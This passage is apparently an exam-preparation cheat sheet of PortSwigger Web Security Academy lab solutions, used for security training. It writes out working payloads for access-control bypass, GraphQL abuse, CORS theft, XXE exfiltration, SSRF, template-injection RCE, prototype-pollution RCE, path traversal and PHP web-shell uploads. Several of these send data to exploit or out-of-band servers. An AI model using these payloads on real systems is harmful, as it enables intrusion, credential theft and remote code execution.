This is good. By looking through the source code in /static/js/forgotPassword.js, you can see /forgot-password?reset_token=${resetToken}. This suggests there is a reset_token field.
csrf=KWCU4G1AVLVnCi3i4rVg8JUoHBd6JIEu&username=administrator%26field=reset_token
...
{"type":"reset_token","result":"xx8wdhtlg3wg3nfiolh6tvfh70gel7pa"}
Reset the admin’s token through /forgot-password?reset_token=xx8wdhtlg3wg3nfiolh6tvfh70gel7pa and delete Carlos.
Access Control
Location
Location
URL
Look for ways to force browsing to the admin panel.
https://web-security-academy.net/admin
Cookies
Look for very obvious cookies, such as admin.
Admin=true
Email update
Look out for responses from email updates, which may disclose your user role and may be able to be changed.
{
"email":"test@test.com",
"roleid": 2
}
Account URL
Look out for simple IDORs (Insecure Direct Object References) in the URL.
https://web-security-academy.net/my-account?id=carlos
Exam
Exam
In the exam, you should look for ways to escalate privileges through API requests. One such example is changing your roleid to a number between 1 and 100 to grant you admin privileges.
{
"email":"email",
"roleid":2
}
Also, check for ways to bypass admin controls by using custom headers.
X-Original-Url: /admin
Burp-lab
Burp Lab
1. Unprotected admin functionality
Force browse to the admin panel using robots.txt.
/administrator-panel
2. Unprotected admin functionality with unpredictable URL
Review the source code and find the path to /admin.
/admin-3ofjkq
3. User role controlled by request parameter
Change the cookie to true.
Admin=true
4. User role can be modified in user profile
In this lab, you can change your userID through the email change by adding a request parameter.
{
"email":"test@test.com",
"roleid": 2
}
5. User ID controlled by request parameter
In this lab, there are simple IDORs in the URL.
https://web-security-academy.net/my-account?id=carlos
6. User ID controlled by request parameter, with unpredictable user IDs
In this lab, the userid in the URL is controlled by UUID. You can find Carlos’s UUID through the blog post.
https://web-security-academy.net/my-account?id=0a146a9f-76c0-4da1-b95c-7513f57ee652
7. User ID controlled by request parameter with data leakage in redirect
This is a good lab. You can get Carlos’s API key by requesting his profile as normal and capturing the request in the repeater. The API key is in the response, which redirects before you can see it.
GET /my-account?id=carlos
8. User ID controlled by request parameter with password disclosure
Simple IDOR in the URL that lets you see the password stored in the account. Grab the admin’s password and delete Carlos.
https://web-security-academy.net/my-account?id=administrator
9. Insecure direct object references
Interesting lab. You can download transcripts through the chat feature. These are labelled 1, 2, 3, etc. Find Carlos’s transcript and his password in it.
GET /download-transcript/1.txt HTTP/2
10. URL-based access control can be circumvented
This is a header injection. You need to inject the X-Original-Url and specify /admin.
GET /?username=carlos HTTP/2
...
X-Original-Url: /admin/delete
11. Method-based access control can be circumvented
This lab is good. You have access to the admin account (administrator:admin) for familiarity. You can upgrade yourself to admin through a GET request at /admin-roles. Only the POST request is secure.
GET /admin-roles?username=wiener&action=upgrade HTTP/2
12. Multi-step process with no access control on one step
In this lab, you can use Wiener’s session token for the admins to confirm the upgrade step. You get admin creds (administrator:admin).
POST /admin-roles HTTP/2
...
action=upgrade&confirmed=true&username=wiener
13. Referer-based access control
In this lab, you can access the admin panel if the Referer header is /admin.
GET /admin-roles?username=wiener&action=upgrade HTTP/2
...
Referer: https://web-security-academy.net/admin
Other Labs
14. Authentication bypass via flawed state machine
This lab is good. You can skip the role-selector, and it automatically assigns you as admin.
DROP /role-select
Go to:
https://.web-security-academy.net/admin
15. Authentication bypass via information disclosure
This lab discloses an HTTP header through the TRACE method. Use this to act as localhost.
GET /admin/delete?username=carlos HTTP/
...
X-Custom-Ip-Authorization: 127.0.0.1GraphQL
Location
Location
GraphQL Endpoints:
/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
CSRF Potential
Look for the Content-Type: application/x-www-form-urlencoded. This suggests it may be susceptible:
Content-Type: application/x-www-form-
Exploit
Exploit
Burp Labs
1. Accessing private GraphQL posts
Run an introspective query using the GraphQL option. Find the hidden query postPassword and use it on the missing post:
query getBlogPost($id: Int!) {
getBlogPost(id: $id) {
image
title
author
date
postPassword
}
}
---
{"id":3}
2. Accidental exposure of private GraphQL fields
In this lab, I used inQL, a Burp extension that was very helpful. Upload the URL, and it will find all the queries you can make. Use this to find the GetUser. Change the ID to 1 and it returns the admin’s credentials:
query {
getUser(id: 1) {
id
password
username
}
}
3. Finding a hidden GraphQL endpoint
This lab is tough. You need to find the GraphQL endpoint using brute-force, then use this to find the mutation to delete Carlos. I used InQL again and uploaded the JSON introspection query:
The normal query is blocked, however, it can be bypassed using:
query IntrospectionQuery {
__schema
{
...
GET /api?query=mutation+%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A+3%7D%29+%7B%0A%09%09user+%7B%0A%09%09%09id%0A%09%09%7D%0A%09%7D%0A%7D
5. Performing CSRF exploits over GraphQL
This lab is incredibly difficult. You need to discover that you can change the content type to application/x-www-form-urlencoded. Once you’ve realised this, you need to change the request body to URL encoded and remove any {" from the string. This will leave you with the following request:
POST /graphql/v1
...
query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D
Once you confirm this works, you need to generate a CSRF PoC using the Engagement Tools, store it on your exploit server and change a user’s email address.
Bypass
Bypass
When developers disable introspection, they may use a regex to exclude the __schema keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.
Sometimes introspective queries are blocked. Here are some bypasses:
1. Adding breaks:
query IntrospectionQuery {
__schema
{
2. changing request methods
GET /api?query=query...
Bypass Labs
Bypass Docs
4. Bypassing GraphQL brute force protections
In this lab, you can use aliases to bypass brute force protections. First, generate the code using the following JavaScript:
copy(<code>{`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`}</code>.split(',').map((element,index)=><code>{`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`}</code>.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
After this is generated, copy it into a mutation and send it off to bypass the authentication:
POST /graphql/v1 HTTP/2
...
{"variables": {"input": {"password": "peter", "username": "wiener"}}, "query": "mutation {...
EXAMPLE in InQL
mutation {
bruteforce0: login(input: { password: "123456", username: "carlos" }) {
token
success
}
Tools
Tools
InQL - GraphQL Scanner
This extension visualises GraphQL and helps with the formatting. Install it through the BApp Store and run it. Give it the URL of the GraphQL endpoint and it will try to run an introspective query and tell you all your options.
CORS Misconfigurations
Location
Location
Account Details
Look for the following web page:
/AccountDetails
This will return the following:
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "ZAFd1EUahSHpkU4bfBN7kjBejmdGyZYy",
"sessions": [
"ferwlt3tb1404kvKB3phujDkNuPJvNnV"
]
}
External Subdomain
This subdomain is vulnerable to XSS, which is whitelisted in the CORS policy:
https://stock.0ad600ce038f8547821aa233009200b5.web-security-academy.net/?productId=1&storeId=1
Test Payloads
Add the following Origin headers and look for a response indicating a misconfigured CORS policy.
Random Origin
Origin: https://www.jackmason.com
Null Origin
Origin: null
Example Response:
Access-Control-Allow-Credentials: true
Conditions
Most CORS attacks rely on the presence of the response header:
Access-Control-Allow-Credentials: true
Without that header, the victim user’s browser will refuse to send their cookies, meaning the attacker will only gain access to unauthenticated content. They could just as easily access this by browsing directly to the target website.
Exploit
Exploit
Server-generated ACAO header from client-specified Origin header
This is where the header is reflected in the Access-Control-Allow-Origin header.
Request
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that any domain can access resources from the vulnerable domain. If the response contains any sensitive information, such as an API key or CSRF token, you could retrieve this by placing the following script on your website:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0adb00a0034ff34380e38f4500d4004b.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/loggy?key='+this.responseText;
};
</script>
Whitelisted null origin value
For example, suppose an application receives the following cross-origin request:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
And the server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Example Exploit:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aab007e030b79cf80fcb73700b400a8.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/loggy?key='+this.responseText;
};
</script>"></iframe>
Whitelisted Subdomain
In this lab, the subdomain is vulnerable to XSS. In this case, it’s the same as the trusted origin.
Example Exploit:
<script>
document.location="https://stock.0ad600ce038f8547821aa233009200b5.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0ad600ce038f8547821aa233009200b5.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a9a0055034b85a18292a10401d3004f.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>XML external entity (XXE) injection
Location
Location
Check Stock
A good indication is the check stock functionality:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>
Avatar Image Upload
Some XXE can be injected through image uploads and dangerous SVGs.
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream
Identify XXE
To identify XXE in areas where it may not be clear, use the following payload and look for errors that may indicate XML is possible:
%26entity;
...
productId=%26entity;&stockId=1
Exam
Exam
Look for functionality that can be used to exfiltrate data. You may not even need to perform XXE attacks but just use the structure:
<email>example1@domain.com||`nslookup -q=cname $(cat /home/carlos/secret).burp.oastify.com`</email>
</user>
</users>
Burp-labs
Burp Labs
Burp Labs
Exploiting XXE to retrieve files
1. Exploiting XXE using external entities to retrieve files
Super simple lab to get the /etc/passwd file. Use DOCTYPE to define a file and exfiltrate:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
4. Exploiting XXE via image file upload
Save the following as an SVG file and upload it:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Exploiting XXE to perform SSRF attacks
2. Exploiting XXE to perform SSRF attacks
In this lab you can use XXE to perform CSRF against a given endpoint: 169.254.169.254 to find EC2 metadata. This can be done by going to http://169.254.169.254 and following the output through error messages:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>&xxe;</storeId></stockCheck>
XInclude attacks
3. Exploiting XInclude to retrieve files
Super simple lab where you can grab data through an xinclude on the check stock. This endpoint looks normal but is injectable:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Blind XXE
Burp Labs
5. Blind XXE with out-of-band interaction
This lab is super simple; you use the SSRF to perform an out-of-band interaction and request your own collaborator link:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://w63bg5v54g3yj5v6c8abikf0yr4isagz.oastify.com"> ]>
<stockCheck><productId>2</productId><storeId>1&xxe;</storeId></stockCheck>
6. Exploiting blind XXE to exfiltrate data using a malicious external DTD
This lab is very important! This is how you can use blind XXE to exfiltrate the contents of a file to a remote server. This is the kind of thing that will be on the exam.
The following code can be hosted on the exploit server to grab the contents of a file and exfiltrate them. Save as file.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-LINK/?x=%file;'>">
%eval;
%exfil;
The following payload can be used to call this from your exploit server:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-server.net/exploit.dtd"> %xxe;]>
7. Exploiting blind XXE to retrieve data via error messages
In this lab you can see the data through error messages. This again is what may be on the exam. This has the same setup with the external dtd file.
Host as a .dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
In the request to check stock, add the following:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0a08009b038370a880dc523401760083.exploit-server.net/exploit.dtd"> %xxe;]>
<stockCheck><productId>3</productId><storeId>1</storeId></stockCheck>
Bypass
Bypass
8. Blind XXE with out-of-band interaction via XML parameter entities
This lab uses parameters to perform out-of-band interaction. This does not require entities, just the DOCTYPE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://hello.jxky7smsv3ulasmt3v1y976npev5jy7n.oastify.com"> %xxe; ]>
9. SQL injection with filter bypass via XML encoding
In this lab you need to perform SQL injection through an XML document and bypass a WAF. It is recommended to use HackVector to do this.
Find the injection point:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>INJECT-HERE</storeId></stockCheck>
Test a payload:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 UNION Select NULL</storeId></stockCheck>
- this throws an error saying
attack detected
Use HackVector to encode the payload and find the database:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId><@hex_entities>1 UNION SELECT version()</@hex_entities></storeId></stockCheck>
You are told it is in a table named users. Use this to find the column names:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></StoreId></stockCheck>Server Side Request Forgery (SSRF)
Location
Location
ATTENTION:
If you find an SSRF vulnerability on the exam, you can use it to read files by accessing an internal-only service running on localhost on port 6566.
Check Stock
In the check stock feature, a URL is sometimes disclosed:
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1
Referer Header
There may be Blind SSRF in the Referer header:
Referer: https://test.4kpjud9dioh6xd9eqgojwst8cziq6oud.oastify.com
Open Redirects
Some endpoints may be accessible locally, so open redirects can be used:
/product/nextProduct?currentProductId=6&path=https://EXPLOIT.net
Exploits
Exploits
SSRF Sample Payloads
/product/nextProduct?currentProductId=6&path=https://EXPLOIT.net
stockApi=http://localhost:6566/admin
http://127.1:6566/admin
Host: localhost
Alternative IP representation of 127.0.0.1:
1. 2130706433
2. 017700000001
3. 127.1
Burp Labs
Burp Labs
1. Basic SSRF against the local server
A super simple lab, letting you change the stock check request and gain access to an admin panel.
stockApi=http://localhost/admin/delete?=carlos
2. Basic SSRF against another back-end system
In this lab, you don’t know the IP address, so you have to brute force it with intruder.
stockApi=http%3a%2f%2f192.168.0.30%3a8080/admin/delete?username=carlos
3. Blind SSRF with out-of-band detection
In this lab, there is blind SSRF through the Referer header:
Referer: https://test.4kpjud9dioh6xd9eqgojwst8cziq6oud.oastify.com
Bypass
Bypass
Bypass Docs
4. SSRF with blacklist-based input filter
This lab is interesting. It’s a simple lab, but there is a block on localhost. This can be bypassed by double URL encoding and capitalising letters:
stockApi=http%3a%2f%2fLocalhost%2f%25%36%31dmin
5. SSRF with filter bypass via open redirection vulnerability
This lab is quite tricky to exploit. You need to abuse an open redirect to access the endpoint as the request needs to come from the server.
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
Other Bypasses
Type in http://2130706433 instead of http://127.0.0.1
Hex Encoding 127.0.0.1 translates to 0x7f.0x0.0x0.0x1
Octal Encoding 127.0.0.1 translates to 0177.0.0.01
Mixed Encoding 127.0.0.1 translates to 0177.0.0.0x1
https://h.43z.one/ipconverter/Server Side Template Injection (SSTI)
Location
Location
URL
Look for error messages in the URL:
https://web-security-academy.net/?message=INJECT HERE
Content Manager
On some labs you will get a content manager account:
content-manager:C0nt3ntM4n4g3r
Update profile name
Some labs have the ability to update your name. This is injectable
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
Exam
Exam
In the exam, look for areas where the admin can add templates. An example exploit to obtain data from home/carlos/secret would be:
Twig (PHP)
{{ constant('System')::getenv('PATH') }}
Jinja
{{+self.init.globals.builtins.import('os').popen('cat+/home/carlos/secret').read()+}}
Jinja2
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /home/carlos/secret').read() }}
Smarty (PHP)
{php}echo system('cat /home/carlos/secret');{/php}
Velocity (Java)
#set($x = "cat /home/carlos/secret")
#set($y = $class.inspect("java.lang.Runtime").getRuntime().exec($x))
Freemarker (Java)
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("cat /home/carlos/secret")}
Mako (Python)
<% import os %>${os.popen('cat /home/carlos/secret').read()}
PayloadAllTheThings (SSTI)
Burp-labs
Burp Labs
1. Basic server-side template injection
In this lab you can use SSTIMap with the command --os-cmd rm /home/carlos/moral.txt which will delete the file:
./sstimap.py -u "https://web-security-academy.net/?message=1" --os-cmd "rm /home/carlos/morale.txt"
Manual Payload:
<%= system("rm /home/carlos/morale.txt") %>
2. Basic server-side template injection (code context)
This lab has an exploit that triggers when you change your username to a SSTI payload. This is hard to do using tools.
Find template engine with:
${{<%[%'"}}%\\
- this shows that tornado.template is used.
This can be exploited with the following exploit:
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
&csrf=2AQocPpLMxmxP9K5Xrdksg1QHzsQRwyu
3. Server-side template injection using documentation
In this lab you get credentials as a creator (content-manager:C0nt3ntM4n4g3r). You can now change templates. Use this to inject a template and delete a user from carlos:
Error out application:
${foobar}
- this shows the engine
Use this to exploit it:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }
4. Server-side template injection in an unknown language with a documented exploit
Do not even ask for this lab. It is in the message again. Add a fuzzer payload such as fuzzer${{<%[%'"}}%,<> which breaks the template and tells you it is handlebars. This can be exploited with:
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
- URL encode this and add it to the URL
5. Server-side template injection with information disclosure via user-supplied objects
This lab uses Django. It can be exploited with the following payloads. You also need to sign in as a content manager:
${{<%[%'"}}%\,
{% debug %}
{{settings.SECRET_KEY}}
Tools
Tools
SSTIMap
SSTIMap will let you automatically test for payloads like sqlmap.
Basic Usage
python sstimap.py -u http://example.com/page?name=John
Attempts SSTI detection on the name parameter.
Specify Parameter Explicitly
python sstimap.py -u http://example.com/page -p name
Tests the name parameter, even if not present in the query string.
POST Request with Form Data
python sstimap.py -u http://example.com/login -p username --data "username=admin&password=123"
Tests SSTI in the username parameter using a standard POST form.
POST Request with JSON Body
python sstimap.py -u http://example.com/api -p user --json '{"user":"test","pass":"123"}'
Sends the payload in a JSON-encoded POST body.
Include Cookies
python sstimap.py -u http://example.com -p id --cookie "session=abcd1234"
Useful for testing authenticated areas of a web application.
Add Custom Headers
python sstimap.py -u http://example.com -p q --headers "X-Api-Version: 1"
Passes additional headers with the request.
Enable Verbose Mode
python sstimap.py -u http://example.com -p search -v
Provides more output details during testing.
Fuzz All Parameters Automatically
python sstimap.py -u http://example.com/search?q=test --fuzz
Automatically checks all query or body parameters for SSTI vulnerabilities.
Use a Proxy (e.g. Burp Suite)
python sstimap.py -u http://example.com -p name --proxy http://127.0.0.1:8080
Forwards requests through a local proxy for inspection.
Custom Injection Payload
python sstimap.py -u http://example.com -p value --payload "{{7*7}}"
Overrides the default payload with a custom one.
Server-Side Prototype Pollution
Location
Location
Account Update
Look for ways to update your profile and upgrade your privileges:
POST /my-account/change-address
...
{
"details":"etc",
"__proto__":{
"isAdmin":true
}
}
Exploit
Exploit
Server-Side Prototype Pollution
Burp labs
1. Privilege escalation via server-side prototype pollution
This lab is straightforward and might be in the exam. You need to change isAdmin to true. This can be done through the /my-account/change-address endpoint:
{
"data":"...",
"__proto__": {
"isAdmin":true
}
}
4. Remote code execution via server-side prototype pollution
This lab is tricky. You can perform RCE through commands that allow you to delete Carlos’s file.
Step one: _Identify_ prototype pollution
"__proto__": {
"json spaces":10
}
Step two: Test for remote code execution (RCE) by performing a DNS request from the back end.
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://OASTIFY.COM')"
]
}
Step three: Inject an exploit to read or delete user-sensitive data. After injection, trigger new spawned node child processes by using the admin panel’s maintenance jobs button. This will act on Carlos’s secret file.
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}
Bypass
Bypass
2. Detecting server-side prototype pollution without polluted property reflection
If there’s no visible way to see if the exploit succeeded, you can try the following blind method:
"__proto__": {
"status":555
}
- This will make the error code 555, indicating that it has been polluted.
3. Bypassing flawed input filters for server-side prototype pollution
This is a simple lab. Websites might filter out __proto__, so you can use the following:
{
"data":"...",
"constructor":{
"prototype": {
"isAdmin":true
}
}
}
Tools
Tools
Server-Side Prototype Pollution Scanner
This is a Burp Extension for finding server-side prototype pollution issues. Just install it and run it against the scope.
File Path Traversal
Location
Location
Image File path
GET /image?filename=../../../../../../etc/passwd HTTP/2
Burp-labs
Burp Labs
1. File path traversal, simple case
Simple lab: gain access to the etc/passwd file.
GET /image?filename=../../../../../../etc/passwd HTTP/2
2. File path traversal, traversal sequences blocked with absolute path bypass
Straightforward lab: you can supply an absolute path:
GET /image?filename=/etc/passwd HTTP/2
3. File path traversal, traversal sequences stripped non-recursively
Easy lab: you can bypass the filter with the following nested traversal sequence ....//
GET /image?filename=....//....//....//....//....//etc/passwd
4. File path traversal, traversal sequences stripped with superfluous URL-decode
Easy lab: you can double URL encode the ../ to ..%252f
GET /image?filename=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
5. File path traversal, validation of start of path
Easy lab: you need to start the traversal with the path provided:
GET /image?filename=/var/www/images/../../../../../../../../etc/passwd
6. File path traversal, validation of file extension with null byte bypass
Easy lab: you need to specify the file type of .jpg. This can be achieved with a null byte.
GET /image?filename=../../../../../../etc/passwd%00.jpg HTTP/2
Bypass
Bypass
Nested traversal sequences
You might be able to use nested traversal sequences, such as ....// or ..../. These revert to simple traversal sequences when the inner sequence is stripped.
Double URL encode
You can sometimes bypass this kind of sanitisation by URL encoding, or even double URL encoding, the ../ characters. This results in %2e%2e%2f and %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also work.
Base files
An application may require the user-supplied filename to start with the expected base folder, such as /var/www/images.
Required Extension
An application may require the user-supplied filename to end with an expected file extension, such as .png. In this case, it might be possible to use a null byte to effectively terminate the file path before the required extension. For example: filename=../../../etc/passwd%00.png.
Headers
Adding headers in the request with value 127.0.0.1 or localhost can also help in bypassing restrictions.
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: localhost
X-Forward-For: localhost
X-Remote-IP: localhost
X-Client-IP: localhost
X-Real-IP: localhost
X-Originating-IP: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
403 Bypass
The following tool allows you to bypass otherwise restricted pages. This is not in any of the labs but is interesting: 403 Bypasser
Example Secret URL Encoded:
/image?filename=%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%38%25%36%66%25%36%64%25%36%35%25%32%66%25%36%33%25%36%31%25%37%32%25%36%63%25%36%66%25%37%33%25%32%66%25%37%33%25%36%35%25%36%33%25%37%32%25%36%35%25%37%34File Upload
Location
Location
File Upload Functionality
Look for ways to upload files, such as avatars:
------geckoformboundary7272ca74692c2ec9cde369343ab177b4
Content-Disposition: form-data; name="avatar"; filename="lab1.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
Burp Labs
Burp Labs
1. Remote code execution via web shell upload
Super simple lab, which allows a user to upload PHP files.
------geckoformboundary7272ca74692c2ec9cde369343ab177b4
Content-Disposition: form-data; name="avatar"; filename="lab1.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
2. Web shell upload via Content-Type restriction bypass
In this lab, you need to bypass the file restriction by changing the Content-Type: to image/jpeg.
------geckoformboundary4c734fa1381c1fe0db397a27ae074a39
Content-Disposition: form-data; name="avatar"; filename="lab1.php"
Content-Type: image/jpeg
<?php echo file_get_contents('/home/carlos/secret'); ?>
3. Web shell upload via path traversal
In this lab, you need to store the file in a location where it can execute. This can be done by going back a directory using path traversal. To get this to work, you need to URL encode the /:
------geckoformboundary626bcbc7eccb58165a439150cfa80ba0
Content-Disposition: form-data; name="avatar"; filename="..%2flab1.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
4. Web shell upload via extension blacklist bypass
In this lab, you can upload a .htaccess file that tells the web server to execute PHP files. This can be used to tell the web server to process a file of a specified directory as a PHP file:
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
AddType application/x-httpd-php .djang0
---
Content-Disposition: form-data; name="avatar"; filename="lab1.djang0"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
5. Web shell upload via obfuscated file extension
In this lab, you need to bypass file restriction to make the web server think it’s a .jpg file:
Content-Disposition: form-data; name="avatar"; filename="lab1.php%00.jpg"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
6. Remote code execution via polyglot web shell upload
This lab allows you to upload a valid image, so you have to include the payload in the metadata using exiftool:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" jack.jpg -o jacksploit.php
7. XXE via SVG Image upload
This lab is also mentioned in my XXE cheatsheet. Save the following as an SVG file and upload it:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
8. Web shell upload via race condition
This is a good lab. To break this lab, you need to exploit a race condition to view the file before it has been processed. This can be done using turbo intruder:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''POST /my-account/avatar HTTP/2
Host: 0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Cookie: session=BDQwc3X5j3KtZnYGl2EfeMS343RSfxUY
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Length: 518
Origin: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Referer: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Disposition: form-data; name="user"
wiener
------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Disposition: form-data; name="csrf"
MDtbbzm4AEEOAzmC2H4irsShxhw2Dr8D
------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca--
